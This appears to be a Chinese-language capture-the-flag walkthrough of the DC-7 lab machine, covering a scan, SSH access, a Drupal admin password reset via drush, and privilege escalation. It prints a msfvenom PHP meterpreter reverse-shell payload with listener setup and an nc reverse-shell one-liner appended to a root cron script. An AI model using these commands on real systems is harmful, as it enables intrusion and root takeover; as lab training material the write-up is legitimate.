DC-7
1.主机发现
靶机开机后DHCP获取有ip地址
2.信息收集
端口扫描
C:\Users\ASUS>Nmap 192.168.43.111 -A -p- -oN nmap.A
Starting Nmap 7.70 ( https://nmap.org ) at 2020-10-08 08:29 ?D1ú±ê×?ê±??
Nmap scan report for dc-7 (192.168.43.111)
Host is up (0.00030s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey:
| 2048 d0:02:e9:c7:5d:95:32:ab:10:99:89:84:34:3d:1e:f9 (RSA)
| 256 d0:d6:40:35:a7:34:a9:0a:79:34:ee:a9:6a:dd:f4:8f (ECDSA)
|_ 256 a8:55:d5:76:93:ed:4f:6f:f1:f7:a1:84:2f:af:bb:e1 (ED25519)
80/tcp open http Apache httpd 2.4.25 ((Debian))
|_http-generator: Drupal 8 (https://www.drupal.org)
| http-robots.txt: 22 disallowed entries (15 shown)
| /core/ /profiles/ /README.txt /web.config /admin/
| /comment/reply/ /filter/tips /node/add/ /search/ /user/register/
| /user/password/ /user/login/ /user/logout/ /index.php/admin/
|_/index.php/comment/reply/
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Welcome to DC-7 | D7
MAC Address: 00:0C:29:64:5D:D2 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 0.30 ms dc-7 (192.168.43.111)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 52.81 seconds
访问web服务
发现用户信息
通过谷歌搜索查找关键内容
发现dc7user账密
SSH尝试登录
3.漏洞挖掘
查看mbox邮件内容
dc7user@dc-7:~$ cat mbox
From root@dc-7 Thu Aug 29 17:00:22 2019
Return-path: <root@dc-7>
Envelope-to: root@dc-7
Delivery-date: Thu, 29 Aug 2019 17:00:22 +1000
Received: from root by dc-7 with local (Exim 4.89)
(envelope-from <root@dc-7>)
id 1i3EPu-0000CV-5C
for root@dc-7; Thu, 29 Aug 2019 17:00:22 +1000
From: root@dc-7 (Cron Daemon)
To: root@dc-7
Subject: Cron <root@dc-7> /opt/scripts/backups.sh
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Cron-Env: <PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin>
X-Cron-Env: <SHELL=/bin/sh>
X-Cron-Env: <HOME=/root>
X-Cron-Env: <LOGNAME=root>
Message-Id: <E1i3EPu-0000CV-5C@dc-7>
Date: Thu, 29 Aug 2019 17:00:22 +1000
Database dump saved to /home/dc7user/backups/website.sql [success]
gpg: symmetric encryption of '/home/dc7user/backups/website.tar.gz' failed: File exists
gpg: symmetric encryption of '/home/dc7user/backups/website.sql' failed: File exists
From root@dc-7 Thu Aug 29 17:15:11 2019
Return-path: <root@dc-7>
Envelope-to: root@dc-7
Delivery-date: Thu, 29 Aug 2019 17:15:11 +1000
Received: from root by dc-7 with local (Exim 4.89)
(envelope-from <root@dc-7>)
id 1i3EeF-0000Dx-G1
for root@dc-7; Thu, 29 Aug 2019 17:15:11 +1000
From: root@dc-7 (Cron Daemon)
To: root@dc-7
Subject: Cron <root@dc-7> /opt/scripts/backups.sh
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Cron-Env: <PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin>
X-Cron-Env: <SHELL=/bin/sh>
X-Cron-Env: <HOME=/root>
X-Cron-Env: <LOGNAME=root>
Message-Id: <E1i3EeF-0000Dx-G1@dc-7>
Date: Thu, 29 Aug 2019 17:15:11 +1000
Database dump saved to /home/dc7user/backups/website.sql [success]
gpg: symmetric encryption of '/home/dc7user/backups/website.tar.gz' failed: File exists
gpg: symmetric encryption of '/home/dc7user/backups/website.sql' failed: File exists
From root@dc-7 Thu Aug 29 17:30:11 2019
Return-path: <root@dc-7>
Envelope-to: root@dc-7
Delivery-date: Thu, 29 Aug 2019 17:30:11 +1000
Received: from root by dc-7 with local (Exim 4.89)
(envelope-from <root@dc-7>)
id 1i3Esl-0000Ec-JQ
for root@dc-7; Thu, 29 Aug 2019 17:30:11 +1000
From: root@dc-7 (Cron Daemon)
To: root@dc-7
Subject: Cron <root@dc-7> /opt/scripts/backups.sh
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Cron-Env: <PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin>
X-Cron-Env: <SHELL=/bin/sh>
X-Cron-Env: <HOME=/root>
X-Cron-Env: <LOGNAME=root>
Message-Id: <E1i3Esl-0000Ec-JQ@dc-7>
Date: Thu, 29 Aug 2019 17:30:11 +1000
Database dump saved to /home/dc7user/backups/website.sql [success]
gpg: symmetric encryption of '/home/dc7user/backups/website.tar.gz' failed: File exists
gpg: symmetric encryption of '/home/dc7user/backups/website.sql' failed: File exists
From root@dc-7 Thu Aug 29 17:45:11 2019
Return-path: <root@dc-7>
Envelope-to: root@dc-7
Delivery-date: Thu, 29 Aug 2019 17:45:11 +1000
Received: from root by dc-7 with local (Exim 4.89)
(envelope-from <root@dc-7>)
id 1i3F7H-0000G3-Nb
for root@dc-7; Thu, 29 Aug 2019 17:45:11 +1000
From: root@dc-7 (Cron Daemon)
To: root@dc-7
Subject: Cron <root@dc-7> /opt/scripts/backups.sh
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Cron-Env: <PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin>
X-Cron-Env: <SHELL=/bin/sh>
X-Cron-Env: <HOME=/root>
X-Cron-Env: <LOGNAME=root>
Message-Id: <E1i3F7H-0000G3-Nb@dc-7>
Date: Thu, 29 Aug 2019 17:45:11 +1000
Database dump saved to /home/dc7user/backups/website.sql [success]
gpg: symmetric encryption of '/home/dc7user/backups/website.tar.gz' failed: File exists
gpg: symmetric encryption of '/home/dc7user/backups/website.sql' failed: File exists
From root@dc-7 Thu Aug 29 20:45:21 2019
Return-path: <root@dc-7>
Envelope-to: root@dc-7
Delivery-date: Thu, 29 Aug 2019 20:45:21 +1000
Received: from root by dc-7 with local (Exim 4.89)
(envelope-from <root@dc-7>)
id 1i3Hvd-0000ED-CP
for root@dc-7; Thu, 29 Aug 2019 20:45:21 +1000
From: root@dc-7 (Cron Daemon)
To: root@dc-7
Subject: Cron <root@dc-7> /opt/scripts/backups.sh
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Cron-Env: <PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin>
X-Cron-Env: <SHELL=/bin/sh>
X-Cron-Env: <HOME=/root>
X-Cron-Env: <LOGNAME=root>
Message-Id: <E1i3Hvd-0000ED-CP@dc-7>
Date: Thu, 29 Aug 2019 20:45:21 +1000
Database dump saved to /home/dc7user/backups/website.sql [success]
gpg: symmetric encryption of '/home/dc7user/backups/website.tar.gz' failed: File exists
gpg: symmetric encryption of '/home/dc7user/backups/website.sql' failed: File exists
From root@dc-7 Thu Aug 29 22:45:17 2019
Return-path: <root@dc-7>
Envelope-to: root@dc-7
Delivery-date: Thu, 29 Aug 2019 22:45:17 +1000
Received: from root by dc-7 with local (Exim 4.89)
(envelope-from <root@dc-7>)
id 1i3Jng-0000Iw-Rq
for root@dc-7; Thu, 29 Aug 2019 22:45:16 +1000
From: root@dc-7 (Cron Daemon)
To: root@dc-7
Subject: Cron <root@dc-7> /opt/scripts/backups.sh
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Cron-Env: <PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin>
X-Cron-Env: <SHELL=/bin/sh>
X-Cron-Env: <HOME=/root>
X-Cron-Env: <LOGNAME=root>
Message-Id: <E1i3Jng-0000Iw-Rq@dc-7>
Date: Thu, 29 Aug 2019 22:45:16 +1000
Database dump saved to /home/dc7user/backups/website.sql [success]
From root@dc-7 Thu Aug 29 23:00:12 2019
Return-path: <root@dc-7>
Envelope-to: root@dc-7
Delivery-date: Thu, 29 Aug 2019 23:00:12 +1000
Received: from root by dc-7 with local (Exim 4.89)
(envelope-from <root@dc-7>)
id 1i3K28-0000Ll-11
for root@dc-7; Thu, 29 Aug 2019 23:00:12 +1000
From: root@dc-7 (Cron Daemon)
To: root@dc-7
Subject: Cron <root@dc-7> /opt/scripts/backups.sh
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Cron-Env: <PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin>
X-Cron-Env: <SHELL=/bin/sh>
X-Cron-Env: <HOME=/root>
X-Cron-Env: <LOGNAME=root>
Message-Id: <E1i3K28-0000Ll-11@dc-7>
Date: Thu, 29 Aug 2019 23:00:12 +1000
Database dump saved to /home/dc7user/backups/website.sql [success]
From root@dc-7 Fri Aug 30 00:15:18 2019
Return-path: <root@dc-7>
Envelope-to: root@dc-7
Delivery-date: Fri, 30 Aug 2019 00:15:18 +1000
Received: from root by dc-7 with local (Exim 4.89)
(envelope-from <root@dc-7>)
id 1i3LCo-0000Eb-02
for root@dc-7; Fri, 30 Aug 2019 00:15:18 +1000
From: root@dc-7 (Cron Daemon)
To: root@dc-7
Subject: Cron <root@dc-7> /opt/scripts/backups.sh
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Cron-Env: <PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin>
X-Cron-Env: <SHELL=/bin/sh>
X-Cron-Env: <HOME=/root>
X-Cron-Env: <LOGNAME=root>
Message-Id: <E1i3LCo-0000Eb-02@dc-7>
Date: Fri, 30 Aug 2019 00:15:18 +1000
rm: cannot remove '/home/dc7user/backups/*': No such file or directory
Database dump saved to /home/dc7user/backups/website.sql [success]
From root@dc-7 Fri Aug 30 03:15:17 2019
Return-path: <root@dc-7>
Envelope-to: root@dc-7
Delivery-date: Fri, 30 Aug 2019 03:15:17 +1000
Received: from root by dc-7 with local (Exim 4.89)
(envelope-from <root@dc-7>)
id 1i3O0y-0000Ed-To
for root@dc-7; Fri, 30 Aug 2019 03:15:17 +1000
From: root@dc-7 (Cron Daemon)
To: root@dc-7
Subject: Cron <root@dc-7> /opt/scripts/backups.sh
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Cron-Env: <PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin>
X-Cron-Env: <SHELL=/bin/sh>
X-Cron-Env: <HOME=/root>
X-Cron-Env: <LOGNAME=root>
Message-Id: <E1i3O0y-0000Ed-To@dc-7>
Date: Fri, 30 Aug 2019 03:15:17 +1000
rm: cannot remove '/home/dc7user/backups/*': No such file or directory
Database dump saved to /home/dc7user/backups/website.sql [success]
查看可执行文件
发现脚本文件中drush 命令可以修改密码
drush user-password admin --password="123456"
网站有默认的admin账号,必须进入/var/www/html目录下才能使用drush命令修改密码,必须在drush环境下才能调用drush命令。
根据更改后的账号登录web站点
下载安装php模块,为了使用php代码。
URL:https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz
msf生成php shell
msfvenom -o php/meterpreter/reverse_tcp LHOST=192.168.43.193 LPORT=4444 R > Billu_shell.php
MSF设置监听
msf5 exploit(multi/handler) > set lhost 192.168.43.193
lhost => 192.168.43.193
msf5 exploit(multi/handler) > set lport 4444
lport => 4444
msf5 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > run
交互式shell
shell
python -c "import pty;pty.spawn('/bin/bash')"
4.提权
利用刚刚查到的backups.sh脚本文件反弹shell,因为计划任务是使用root权限执行的,所以之后使用计划任务反弹shell也会是root用户权限。
cd /opt/script
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.43.193 6666 >/tmp/f" >> backups.sh
写入计划任务进行反弹shell
nc监听
nc -lvnp 6666
python -c "import pty;pty.spawn('/bin/bash')"
whoami
这个靶场加入了点社工的知识,做起来会更有趣一些。